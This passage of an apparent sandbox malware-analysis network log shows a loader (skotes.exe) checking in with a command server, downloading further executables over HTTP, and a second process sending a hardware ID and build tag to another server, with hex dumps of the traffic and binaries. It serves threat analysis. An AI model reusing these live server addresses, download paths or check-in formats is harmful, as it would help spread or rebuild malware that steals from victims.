Dec 7, 2024 18:27:51.608005047 CET	1236	IN	Data Raw: a2 a9 e6 51 b3 3e 04 a3 01 f0 e6 9d 82 f1 e8 1f 99 6a 72 a0 69 f1 35 7f 70 45 a5 99 82 f5 ed 59 31 a4 a5 dd cb b1 3a ea 56 87 68 97 eb 51 70 13 24 69 16 72 38 b2 e4 c7 07 7f f4 1d 96 91 eb a2 8a a5 09 cb e7 5f dd 4d 70 8e ef e9 e7 58 56 d4 1f 99 Data Ascii: Q>jri5pEY1:VhQp$ir8_MpXVD8vt3%u)?20T)W%*?gtt\.$_?i:xuIOSvswI~4:n);!G) i3-qbeaZ= c:
Dec 7, 2024 18:27:51.608021975 CET	1236	IN	Data Raw: 23 92 0f 02 91 3a 21 1e 0c 6b 9b 5d df 8d a6 d0 13 e9 5a 79 a8 41 91 0f 1c d1 a6 4d 68 03 b7 a1 98 35 63 b9 9c 92 20 f5 27 a6 aa df 82 84 a7 a2 2b 19 9d 28 1f 3d fc 6f c6 3b 4c 3f 74 41 c5 9b b7 1a 61 31 c1 cd 15 f3 14 41 16 96 d0 a2 7f 94 70 f1 Data Ascii: #:!k]ZyAMh5c '+(=o;L?tAa1Ap@YjIC/32EPWc<pyd=5k(Mkm!dEh@a~g<b$Bw]wu1; =pM7M91vW{:]j69LFe@
Dec 7, 2024 18:27:51.608700037 CET	1236	IN	Data Raw: bc 2c e1 f9 88 f7 29 96 ca 5f 92 d2 be 2c 8b b1 90 f4 12 ab 02 c8 c5 92 db 1a 32 87 cf 6a b2 83 e4 43 d6 8a 47 a9 aa ec 28 59 52 14 64 39 fd 2a 90 5a f9 48 92 58 01 2d 25 a0 aa b8 72 c8 dd 3f bc 63 c0 a7 80 9d c6 db 03 a7 70 71 3c 81 59 e2 6f 3b Data Ascii: ,)_,2jCG(YRd9*ZHX-%r?cpq<Yo;xO8+"EM&Qo'l+:5>5-CFbbS9664Js;KamPomd5@px=!I0pe}/6G2d\|\|6(^pxq+lUCs:$
Dec 7, 2024 18:27:51.608717918 CET	1236	IN	Data Raw: 70 63 51 d9 ad 9d 30 a2 38 09 5b 8a 11 4d 0e 79 70 a1 3d a3 a7 4b 6c 99 64 60 ca 91 4a 49 f6 87 fe b1 70 b3 f5 5a a1 8f 27 4f 95 bf 33 33 75 1d 84 01 f6 df 44 d3 cb 50 12 34 ee b7 3d 9b e6 46 75 07 cf 48 a8 b2 b7 9c 0f 3a de 82 05 dd dd 60 c8 a2 Data Ascii: pcQ08[Myp=Kld`JIpZ'O33uDP4=FuH:`yQI=ArE;tD,3\|Z8\|}&!d!)A+Nh~dLFtpf!Hq)9L8'TEI[WSjQOHR.Zx"Jn0
Dec 7, 2024 18:27:51.608727932 CET	1236	IN	Data Raw: 70 35 b3 10 1c 03 3e af 4b 71 90 1b d9 28 ac 2d 10 3a 1a b4 08 97 62 e8 b8 c1 ed 29 d1 31 42 99 15 a1 c8 0f 7b a1 b8 c1 0b 7d 32 b8 b7 da 02 72 41 80 59 c3 20 26 6a 4e 18 79 0a 73 e0 32 69 6a 25 35 9e ab 37 13 cd 0d 01 3d e7 0b 07 71 1e 5d d5 27 Data Ascii: p5>Kq(-:b)1B{}2rAY &jNys2ij%57=q]'04)zA1\|j06oM>y`/ii\|q=X%&OE/Z,KAh\|2PMv,5*E9.':+1.J6&PC
Dec 7, 2024 18:27:51.608738899 CET	1236	IN	Data Raw: 1f 4b df dc 7b 62 1b 8d eb 36 eb 09 19 1c 43 fb 9f 02 79 20 56 73 73 57 0d 64 bb 1d 8e 73 a3 1a 8e c9 19 0a e7 7b 72 a7 35 ca 09 1f 89 d1 9c 5b 42 1c bd 6a 70 40 01 3c f9 b0 3e fc 09 51 45 9d 0d 7f ea de f9 a9 f7 95 03 a7 a9 88 43 53 fd d6 34 1a Data Ascii: K{b6Cy VssWds{r5[Bjp@<>QECS4iOrTfpM*j%.ie<N-!bw-Cf'ZoEHlo{wobU/Gj55Q1\|s?8"~qmhWoi:@Z9U
Dec 7, 2024 18:27:51.728149891 CET	1236	IN	Data Raw: 3b 4f dc e2 e7 38 e5 70 74 71 72 0e 01 6a d3 be 75 14 28 c1 c2 b1 d7 b7 55 e2 9c fe 8a 37 a2 27 2d 79 91 d7 ab ba 59 95 4e f4 39 f7 0e a0 f9 aa 27 5b 9a 74 5c ad c4 c6 09 bf 03 32 45 21 ea 1b 4c e8 06 54 c1 b2 ae 04 48 99 2c 44 12 76 ea 79 42 71 Data Ascii: ;O8ptqrju(U7'-yYN9'[t\2E!LTH,DvyBq0/w'h&b{&C+=ixv$YHl<X}[N2h$}dL@5n(^O%j>wc#=rtn_qgRfOv}M}B*1)=-w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	49962	185.215.113.43	80	8240	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 18:27:57.593404055 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 32 39 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1012998001&unit=246122658369
Dec 7, 2024 18:27:59.474458933 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 17:27:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	49966	185.215.113.16	80	8240	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 18:27:59.805442095 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 7, 2024 18:28:01.164061069 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 17:28:00 GMT Content-Type: application/octet-stream Content-Length: 1786880 Last-Modified: Sat, 07 Dec 2024 17:21:24 GMT Connection: keep-alive ETag: "67548414-1b4400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 90 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 c0 68 00 00 04 00 00 be d5 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(h@h@M$a$$ $h@.rsrc$x@.idata $z@ *$\|@adtgofcjN~@xgzatmoph@.taggant0h""@
Dec 7, 2024 18:28:01.164259911 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 18:28:01.166696072 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 18:28:01.166827917 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 18:28:01.166842937 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 18:28:01.169857025 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 7, 2024 18:28:01.169992924 CET	1236	IN	Data Raw: 8f 87 e9 74 d4 b8 cf 66 a3 73 ef bb 0a e4 bf 9c 11 d2 50 a1 eb b5 18 4b d1 a7 bc f6 00 6b eb 51 09 fc bd ae 83 43 d1 b1 9d 25 d0 69 60 55 d2 4c 5f e8 41 64 9e 70 e8 4e 25 a4 39 7c 93 4e 34 6a c8 a6 a8 ae c9 0d 98 2f 16 c1 95 2e d2 40 c6 36 9f 4c Data Ascii: tfsPKkQC%i`UL_AdpN%9\|N4j/.@6LWXDA6TGPs\|!vLM{c!Khx:#nBl/}0trA.tMa1k~CM*oc]/rPk2c
Dec 7, 2024 18:28:01.170003891 CET	248	IN	Data Raw: e0 e8 8d e5 90 00 81 19 1f 54 21 ba 29 9f be 55 df 02 bd e5 4b cd fc 98 18 2c 58 76 db c4 c1 6e 9d 85 54 95 79 b6 97 ec 74 2a 36 6a 2c 6d a7 4f 11 03 94 72 99 b3 77 26 e0 37 63 42 d3 bd 03 53 7b dc c8 56 f9 8a ce a8 1c e1 a8 40 48 6c f9 40 9b dd Data Ascii: T!)UK,XvnTyt*6j,mOrw&7cBS{V@Hl@(`8pd~w!0RMW9:13V"D-Zts)"qkNDW/G'bf]_!ZE/Is~;je+B0lNxHsB-D-18
Dec 7, 2024 18:28:01.172000885 CET	1236	IN	Data Raw: 98 c4 79 5e 0b 9e eb 73 d9 37 86 42 7c 3c 80 c3 5e a4 be 3e 74 0e 3d a0 83 2c 81 3a 37 82 25 9f 3b 86 5a fb ec 4f 63 7b 9c 11 74 cb d8 c9 69 d3 30 c9 46 45 94 80 33 17 2a b7 e0 b1 fa 05 b3 71 5c 39 be b5 ad cb 7a b6 99 52 cf 43 b1 8c c0 d6 86 84 Data Ascii: y^s7B\|<^>t=,:7%;ZOc{ti0FE3*q\9zRC[x5s[aIIfOp0Ka!A,K9FKHL>i"fd^6_5Ei>D`D@IgrTDr,:v'v\|
Dec 7, 2024 18:28:01.172171116 CET	1236	IN	Data Raw: d8 fb b9 64 fd 40 b7 70 3c 2f 81 1c c9 09 81 9e 94 86 47 f2 d0 92 a1 22 88 85 4f 8a d0 78 d0 c2 98 2d fb 83 dd e8 cf 7d de 82 93 f6 0e 10 47 64 68 08 af 51 09 d1 65 96 18 9a 3f 01 44 86 af a7 0e 4c 0b 64 4c 80 bf cd 99 c7 c9 66 23 d0 21 70 28 88 Data Ascii: d@p</G"Ox-}GdhQe?DLdLf#!p(=I-v>jnNnKNn(``n@CpuNDGGp\|tSJ KDLbnuDu%.\uH\in@e#5XN>}JhKKO3
Dec 7, 2024 18:28:01.284332991 CET	1236	IN	Data Raw: 02 f2 d3 8e 9c 78 87 f6 02 90 4d 6a fb 81 b0 6c f3 87 c0 70 3c 07 d1 b4 12 4f b1 8e e2 9a 1f 75 9c 88 3f cc 3e c3 91 56 0a cf b4 75 00 02 da 2e 71 a3 d3 12 12 90 d6 b4 9b ac 4c 64 e5 4e f3 41 0e 60 a0 e2 94 9e 7a 74 a8 72 81 12 e1 9a e5 c0 cb 6f Data Ascii: xMjlp<Ou?>Vu.qLdNA`ztropXN/Pck&r0^TKzts;d{DH@KGnrLod\NnK-MN->cd\|c$BMWNd`G64xN?8OS<q8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	49983	185.215.113.43	80	8240	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 18:28:06.623904943 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 32 39 39 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1012999001&unit=246122658369
Dec 7, 2024 18:28:08.090666056 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 17:28:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49986	185.215.113.206	80	8688	C:\Users\user\AppData\Local\Temp\1012999001\2a79a10743.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 18:28:08.094001055 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Dec 7, 2024 18:28:09.449744940 CET	203	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:28:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 7, 2024 18:28:09.452972889 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDBGDHDAECBGDHJKFIDG Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 46 34 41 34 43 46 37 31 45 34 43 32 38 31 37 30 31 38 37 30 38 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 48 44 42 47 44 48 44 41 45 43 42 47 44 48 4a 4b 46 49 44 47 2d 2d 0d 0a Data Ascii: ------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="hwid"6F4A4CF71E4C2817018708------HDBGDHDAECBGDHJKFIDGContent-Disposition: form-data; name="build"stok------HDBGDHDAECBGDHJKFIDG--
Dec 7, 2024 18:28:09.906505108 CET	210	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:28:09 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49987	185.215.113.16	80	8240	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 7, 2024 18:28:08.217915058 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 7, 2024 18:28:09.581301928 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sat, 07 Dec 2024 17:28:09 GMT Content-Type: application/octet-stream Content-Length: 970752 Last-Modified: Sat, 07 Dec 2024 17:19:32 GMT Connection: keep-alive ETag: "675483a4-ed000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 9c 83 54 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 20 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELTg" w@0@@@d\|@8du4@.text `.rdata@@.datalpH@.rsrc8d@f@@.relocuvZ@B
Dec 7, 2024 18:28:09.581413031 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQ
Dec 7, 2024 18:28:09.585062981 CET	1236	IN	Data Raw: e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 00 68 21 24 44 00 e8 0d f0 01 00 59 Data Ascii: h$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0M@0M\
Dec 7, 2024 18:28:09.585176945 CET	224	IN	Data Raw: 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 00 00 8d 8f 7c fd ff ff e8 23 83 00 Data Ascii: OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
Dec 7, 2024 18:28:09.585191011 CET	1236	IN	Data Raw: 0f 87 f0 0f 04 00 ff b7 30 fd ff ff 89 9f 34 fd ff ff e8 04 e8 01 00 59 8b 8f 24 fd ff ff 85 c9 0f 85 f9 0f 04 00 8d b7 10 fd ff ff 8b ce c7 06 3c c9 49 00 e8 a3 01 00 00 ff 76 04 e8 da e7 01 00 59 8b 8f 08 fd ff ff 85 c9 0f 85 e3 0f 04 00 8b 8f Data Ascii: 04Y$<IvY-l\L_^[`t#05MI`
Dec 7, 2024 18:28:09.585449934 CET	1236	IN	Data Raw: 00 00 00 8b 4f 04 89 4e 38 89 77 04 5e ff 07 5f 5d c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 c9 e5 00 00 8a 46 30 88 47 30 8b c7 Data Ascii: ON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jAZ @u
Dec 7, 2024 18:28:09.585498095 CET	1236	IN	Data Raw: 00 00 00 8b 4d 10 33 f6 88 01 8d 4d ec e8 ed af 00 00 8b c6 5e c9 c2 0c 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 00 8a 01 c3 83 39 00 0f 95 c0 c3 8b Data Ascii: M3M^At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u+3+
Dec 7, 2024 18:28:09.585514069 CET	1236	IN	Data Raw: ff ff ff e8 65 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 45 fc 85 c0 0f 88 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 00 00 8b 45 d8 8b 48 04 8b 85 58 ff Data Ascii: epEE;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]E
Dec 7, 2024 18:28:09.586159945 CET	1236	IN	Data Raw: 00 83 7d 10 00 75 34 83 7d 14 00 0f 85 b8 01 04 00 83 7d 18 00 0f 85 b7 01 04 00 83 7d 1c 00 0f 85 b6 01 04 00 83 7d 20 00 75 19 83 7d 24 00 0f 85 7e 01 04 00 33 c0 5d c2 20 00 6a ff 6a 77 e9 73 01 04 00 6a ff 6a 73 e9 6a 01 04 00 55 8b ec 83 ec Data Ascii: }u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_FMFMLU,
Dec 7, 2024 18:28:09.586184978 CET	1236	IN	Data Raw: 0c 51 56 8b cf e8 71 07 00 00 59 50 56 8b cf e8 77 16 00 00 5f 5e c9 c2 10 00 55 8b ec 83 ec 74 53 56 33 db 8d 4d 94 57 89 5d 90 e8 14 7b 00 00 ff 75 08 8d 4d 90 c7 45 a4 34 cc 49 00 89 5d a8 89 5d ac 89 5d b0 88 5d b4 e8 78 1c 00 00 8b 4d 0c be Data Ascii: QVqYPVw_^UtSV3MW]{uME4I]]]]xMMEhIM'nj5MM]]]& ]MiVMzEPM@hIMmSjEPEP/yMihtIME]Em
Dec 7, 2024 18:28:09.701198101 CET	1236	IN	Data Raw: 00 c1 e2 04 03 c2 89 7d fc 3b f0 74 08 50 8b ce e8 c1 75 00 00 8b 45 08 8d 8b 8c 00 00 00 89 07 8d 45 fc 50 e8 07 00 00 00 5f 5e 5b c9 c2 04 00 55 8b ec 56 6a 08 8b f1 e8 ad ca 01 00 8b 55 08 59 8b c8 8b 12 83 61 04 00 89 11 83 7e 04 00 75 0d 89 Data Ascii: };tPuEEP_^[UVjUYa~uNN^]FHUVEPPh1hIEt3fP7^VVYtf\|F\u3fLF^UVW3FO;Qu

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.7	49700	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 17:26:16 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 17:26:17 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 17:26:17 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Thu, 05 Dec 2024 15:18:57 GMT ETag: "0x8DD1540234F33E7" x-ms-request-id: 1f1786e0-601e-0050-7103-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T172617Z-r1cf579d778z4wflhC1EWRa3h000000002x0000000009d10 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 17:26:17 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-07 17:26:17 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
